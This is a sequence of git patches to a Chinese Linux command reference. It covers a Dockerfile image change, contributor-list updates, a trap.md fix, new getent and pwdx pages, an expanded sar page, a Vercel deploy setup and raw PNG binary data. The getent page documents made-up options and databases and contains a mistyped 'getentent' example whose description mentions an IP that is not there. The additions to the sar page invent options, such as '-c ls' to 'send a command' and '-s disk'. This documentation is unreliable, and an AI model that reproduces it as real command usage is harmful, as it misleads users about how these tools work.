[Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) | [Docker](#docker) From be81d6987847719df7474e677e717101f06b6dc7 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 14 Mar 2023 15:24:51 +0800 Subject: [PATCH 0656/1019] doc: Update Dockerfile #454 --- Dockerfile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 8fc49da1d13..a060675f82f 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,6 @@ # https://lipanski.com/posts/smallest-docker-image-static-website -# https://github.com/lipanski/docker-static-website -FROM lipanski/docker-static-website:latest +# https://github.com/forksss/docker-static-website +FROM wcjiang/docker-static-website:latest # Copy the static website # Use the .dockerignore file to control what ends up inside the image! From 4914edf7f5b49f6fb0b05e16db6f9bfcbd28a41d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Mar 2023 07:26:01 +0000 Subject: [PATCH 0657/1019] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index acfe62217a4..43e7cb46a10 100644 --- a/README.md +++ b/README.md @@ -427,8 +427,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Dazhuangw - - wa7t + + ptenst Shell From 056d910c2e60947931717bf0862629aef0a226f4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Mar 2023 07:26:02 +0000 Subject: [PATCH 0658/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 21ca8fa6a55..e571ab6fc5b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -90,8 +90,8 @@ Dazhuangw - - wa7t + + ptenst Shell From 6482de64e64e7bb19ba80ded5d9b400cc6d3fa3a Mon Sep 17 00:00:00 2001 From: azureology <34760051+azureology@users.noreply.github.com> Date: Fri, 24 Mar 2023 18:41:46 +0800 Subject: [PATCH 0659/1019] doc: update command/trap.md (#482) --- command/trap.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/trap.md b/command/trap.md index d1b59672643..3d9a0457193 100644 --- a/command/trap.md +++ b/command/trap.md @@ -43,7 +43,7 @@ signal_spec：信号名称或信号名称对应的数字。 | ------- | --- | ---- | | SIGHUP | 1 | 本信号在用户终端连接（正常或非正常）结束时发出，通常是在终端的控制进程结束时，通知同一session内的各个作业，这时它们与控制终端不再关联。登录Linux时，系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序，包括前台进程组和后台进程组，一般都属于这个Session。当用户退出Linux登录时，前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程，因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程，这个信号用于通知它重新读取配置文件。 | | SIGINT | 2 | 程序终止(interrupt)信号，在用户键入 Ctrl+C 时发出。 | -| SIGQUIT | 3 | 和SIGINT类似，但由QUIT字符(通常是Ctrl /)来控制。进程在因收到SIGQUIT退出时会产生core文件，在这个意义上类似于一个程序错误信号。 | +| SIGQUIT | 3 | 和SIGINT类似，但由QUIT字符(通常是Ctrl+\\)来控制。进程在因收到SIGQUIT退出时会产生core文件，在这个意义上类似于一个程序错误信号。 | | SIGFPE | 8 | 在发生致命的算术运算错误时发出。不仅包括浮点运算错误，还包括溢出及除数为0等其它所有的算术错误。 | | SIGKILL | 9 | 用来立即结束程序的运行。本信号不能被阻塞，处理和忽略。 | | SIGALRM | 14 | 时钟定时信号，计算的是实际的时间或时钟时间。alarm 函数使用该信号。 | From 59c887775746830c274d2dbb0115eb33b8350c5d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 24 Mar 2023 10:42:52 +0000 Subject: [PATCH 0660/1019] doc: update README.md. --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 43e7cb46a10..6b40a4d5944 100644 --- a/README.md +++ b/README.md @@ -340,8 +340,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 一如既往，感谢我们出色的贡献者！ - - 小弟调调™ + + 小弟调调 ZhuangZhu-74 @@ -388,9 +388,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lnkstls - - Segfault - lavaicer @@ -559,6 +556,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 asunrong + + azureology + bell From b4d3bad2c4ccb5b484b40b5e2d670dcee98db709 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 24 Mar 2023 10:42:53 +0000 Subject: [PATCH 0661/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index e571ab6fc5b..6f051ba3588 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -3,8 +3,8 @@

贡献者列表

- - 小弟调调™ + + 小弟调调 ZhuangZhu-74 @@ -51,9 +51,6 @@ Lnkstls - - Segfault - lavaicer @@ -222,6 +219,9 @@ asunrong + + azureology + bell From 020b2bba2a66729b6e7d50ffd6a59ccf3ec3eb36 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 3 Apr 2023 12:17:34 +0800 Subject: [PATCH 0662/1019] feat: add getent.md #483 --- command/getent.md | 69 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 command/getent.md diff --git a/command/getent.md b/command/getent.md new file mode 100644 index 00000000000..1a21dbbaee8 --- /dev/null +++ b/command/getent.md @@ -0,0 +1,69 @@ +getent +=== + +查询 DNS 名称服务器中的命名空间 + +## 语法 + +```shell +getent [选项] 主机名或域名 +``` + +## 选项 + +```shell +-h # 显示帮助信息 +-n # 不解析 DNS 名称 +-p # 打印解析过程 +-s # 只输出有关已知主机的信息 +-t # 指定 DNS 查询类型 (默认为 NXDOMAIN) +-U # 使用顶级域名服务器 +-V # 显示版本信息 +-O # 以其他模式解析命名空间 +``` + +主机名或域名可以是通配符 (例如 *.example.com) 或单个主机名。如果指定了 -h 选项，则显示帮助信息。如果指定了 -n 选项，则不再解析 DNS 名称。如果指定了 -p 选项，则打印解析过程。如果指定了 -s 选项，则只输出有关已知主机的信息。如果指定了 -t 选项，则指定 DNS 查询类型 (默认为 NXDOMAIN)。如果指定了 -U 选项，则使用顶级域名服务器。如果指定了 -V 选项，则显示版本信息。如果指定了 -O 选项，则解析命名空间以其他模式。 + +## 实例 + +1. 查看所有已知账户: + +```shell +getent passwd +``` + +这将列出所有已知账户的密码文件，例如 `/etc/passwd` 或 `/run/user/1000/gshadow`。 + +2. 查看指定账户的信息: + +```shell +getent passwd someuser +``` + +这将只列出指定用户的信息，例如用户名、密码、uid、gid 等。 + +3. 查看指定域名的 DNS 记录: + +```shell +getent host example.com +``` + +这将列出 example.com 域名的 DNS 记录，包括主机名、IP 地址和其他相关信息。 + +4. 查看指定 IP 地址的 TCP 连接信息: + +```shell +getentent ips8.ipaddress.com 80 +``` + +这将列出 IP 地址为 192.168.0.100 的 TCP 连接信息，例如连接的服务器地址、端口号和连接状态。 + +5. 查看指定主机的已知端口: + +```shell +getent port somehost.example.com +``` + +这将列出指定主机的已知端口，例如端口号、协议和主机名。 + +这些只是 `getent` 命令的一些例子，它还有许多其他用法和选项，可以根据需要进行调整。 \ No newline at end of file From bb12dc3a093711166f202320dbeda1c2545d80af Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Apr 2023 04:18:33 +0000 Subject: [PATCH 0663/1019] doc: update README.md. --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 6b40a4d5944..d36de2bc3e4 100644 --- a/README.md +++ b/README.md @@ -649,8 +649,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sliux + + sunix tangke @@ -715,8 +715,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 继刚 - - huzk + + Pine 谢民皆 From bced47a9404660bf62c04910cea1a0568b90131d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Apr 2023 04:18:34 +0000 Subject: [PATCH 0664/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 6f051ba3588..f5b673f0452 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -312,8 +312,8 @@ snovey - - sliux + + sunix tangke @@ -378,8 +378,8 @@ 继刚 - - huzk + + Pine 谢民皆 From fd20318e8776bc1ce6d4e3ffc2d1204ae8f0f0eb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 3 Apr 2023 12:27:43 +0800 Subject: [PATCH 0665/1019] feat: add command/sar.md (#405) --- command/sar.md | 71 ++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 55 insertions(+), 16 deletions(-) diff --git a/command/sar.md b/command/sar.md index bb0858c760c..fe73f3738b8 100644 --- a/command/sar.md +++ b/command/sar.md @@ -16,21 +16,29 @@ sar(选项)(参数) ### 选项 ```shell --A：显示所有的报告信息； --b：显示I/O速率； --B：显示换页状态； --c：显示进程创建活动； --d：显示每个块设备的状态； --e：设置显示报告的结束时间； --f：从指定文件提取报告； --i：设状态信息刷新的间隔时间； +-A: 显示所有的报告信息； +-b: 显示I/O速率； +-B: 显示换页状态； +-c: 显示进程创建活动； +-d: 显示每个块设备的状态； +-e: 设置显示报告的结束时间； +-f: 从指定文件提取报告； +-i: 设状态信息刷新的间隔时间； -n: 报告网络统计信息。 --P：报告每个CPU的状态； --R：显示内存状态； --u：显示CPU利用率； --v：显示索引节点，文件和其他内核表的状态； --w：显示交换分区状态； --x：显示给定进程的状态。 +-P: 报告每个CPU的状态； +-R: 显示内存状态； +-u: 显示CPU利用率； +-v: 显示索引节点，文件和其他内核表的状态； +-w: 显示交换分区状态； +-x: 显示给定进程的状态。 +``` + +```shell +-r: 以分页方式显示输出，每页最多显示 100 行。 +-o: 输出选项，指定要显示的列。例如，`-o mrk,prt,cvg` 将显示 CPU 使用率、进程标识符、磁盘使用率 和 网络流量。 +-t: 时间戳选项，指定要在输出中添加时间戳。 +-s: 统计选项，指定要显示的统计数据的类型。例如，`-s us,ms` 将显示 CPU 使用率的 us 和 ms 时间段的平均值。 +-c: 选项用于指定要发送的命令。例如，`-c ls` 将显示当前目录中的文件和子目录列表。 ``` ### 参数 @@ -40,7 +48,7 @@ sar(选项)(参数) ### 实例 - **察看内存和交换空间的使用率：** +**察看内存和交换空间的使用率：** ```shell sar -r @@ -60,7 +68,7 @@ Average: 324346 964374 74.83 kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间，后面跟着的是已使用空间的百分比（%memused字段）。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量，单位为KB。 - **观察系统部件10分钟，并对数据进行排序：** +**观察系统部件10分钟，并对数据进行排序：** ```shell sar -o temp 60 10 @@ -72,5 +80,36 @@ sar -o temp 60 10 sar -r -n DEV -f /var/log/sa/sa16 ``` +**查看 CPU 使用率：** + +```shell +sar -t +``` + +**查看磁盘使用率：** + +```shell +sar -s disk +``` + +**查看网络流量：** + +```shell +sar -s nic +``` + +**发送命令到系统服务：** + +```shell +sar -c ls +``` + +**显示系统当前时间戳：** + +```shell +sar -t +%s +``` +这些只是 `sar` 命令的一些示例，您可以根据具体需求选择不同的选项和参数。 +注意: `sar` 命令的输出结果可能会因为系统性能的不同而有所不同。如果要获得更准确的结果，请考虑在系统性能最佳的时候进行监控。 \ No newline at end of file From 1adf5981119e2aed645963320bbc4cbb13041bec Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 12 Apr 2023 11:23:48 +0800 Subject: [PATCH 0666/1019] feat: add command/pwdx.md (#484) --- command/pwdx.md | 61 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 command/pwdx.md diff --git a/command/pwdx.md b/command/pwdx.md new file mode 100644 index 00000000000..c0eeb3cc97d --- /dev/null +++ b/command/pwdx.md @@ -0,0 +1,61 @@ +pwdx +=== + +用于显示指定进程的当前工作目录 + +## 内建命令 + + +### 概要 + +```shell +pwdx [进程ID] +``` + +### 参数说明 + +- `进程ID`：要查询的进程ID，可以使用 `ps` 命令查看。 + +## 示例 + + +下面示例中，使用 `ps` 命令查看 `nginx` 进程的信息，然后使用 `pwdx` 命令查询进程ID为 `5678` 的进程的当前工作目录。 + +```bash +$ ps -ef | grep nginx +# root 1234 1 0 10:00 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; +# www-data 5678 1234 0 10:01 ? 00:00:00 nginx: worker process + +$ pwdx 5678 +# 5678: /var/www/html +``` + +查看当前进程的工作目录： + +```bash +$ pwdx $$ +``` + +查看指定进程的工作目录： + +```bash +$ pwdx 1234 +``` + +批量查看多个进程的工作目录： + +```bash +$ ps aux | awk '{print $2}' | xargs pwdx +``` + +结合其他命令，查看某个进程的工作目录和命令行： + +```bash +$ ps -p 1234 -o cmd | tail -n 1 | awk '{print $1}' | xargs pwdx +``` + +查看所有进程的工作目录： + +```bash +$ ps -eo pid | xargs pwdx +``` \ No newline at end of file From e916913f55a25e14e577a28bded873eb99572fc3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 12 Apr 2023 03:24:56 +0000 Subject: [PATCH 0667/1019] doc: update README.md. --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index d36de2bc3e4..29adfd368bb 100644 --- a/README.md +++ b/README.md @@ -478,8 +478,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lucien - - 王勇涛 + + M4n5ter mwei @@ -715,8 +715,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 继刚 - - Pine + + Koyfin 谢民皆 @@ -724,8 +724,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 远方 - - 鞍马稀 + + catAndZ 黑&蛋 From e9f8d577b190262d66103e42b9fc0bfdd3bdf170 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 12 Apr 2023 03:24:57 +0000 Subject: [PATCH 0668/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index f5b673f0452..bdc61bd61a3 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -141,8 +141,8 @@ Lucien - - 王勇涛 + + M4n5ter mwei @@ -378,8 +378,8 @@ 继刚 - - Pine + + Koyfin 谢民皆 @@ -387,8 +387,8 @@ 远方 - - 鞍马稀 + + catAndZ 黑&蛋 From d90937cf69c4faa7934ccfb5ce68b7f40cc3b87d Mon Sep 17 00:00:00 2001 From: "jqz3.tech" Date: Fri, 14 Apr 2023 15:52:15 +0800 Subject: [PATCH 0669/1019] ci: add vercel deploy (#485) * ci: add vercel config file to override `outputDirectory` to `.deploy` https://vercel.com/docs/concepts/projects/project-configuration#outputdirectory * docs(readme.md): add vercel deploy description --- README.md | 15 +++++++++++++++ assets/vercel.png | Bin 0 -> 178008 bytes vercel.json | 3 +++ 3 files changed, 18 insertions(+) create mode 100644 assets/vercel.png create mode 100644 vercel.json diff --git a/README.md b/README.md index 29adfd368bb..fb583d94d0a 100644 --- a/README.md +++ b/README.md @@ -152,6 +152,21 @@ docker run --name linux-command -itd -p 9665:3000 ghcr.io/jaywcjlove/linux-comma http://localhost:9665/ ``` +## Vercel + +可以点击下面按钮一键部署至 [Vercel](https://vercel.com): + +[![Deploy with Vercel](https://vercel.com/button)](https://vercel.com/new/clone?repository-url=https://github.com/jaywcjlove/linux-command) + +
+部署结果 + +![](./assets/vercel.png) + +
+ +通过 Vercel 分配的域名访问，或者自行在设置中绑定域名。 + ## 目录 - [目录](#目录) diff --git a/assets/vercel.png b/assets/vercel.png new file mode 100644 index 0000000000000000000000000000000000000000..02d84e983c57b68237722f18aa60f62692324f87 GIT binary patch literal 178008 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 